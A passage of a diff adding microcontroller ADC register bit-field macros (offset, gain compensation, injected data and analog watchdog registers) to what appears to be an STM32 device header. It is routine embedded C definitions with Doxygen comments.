ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 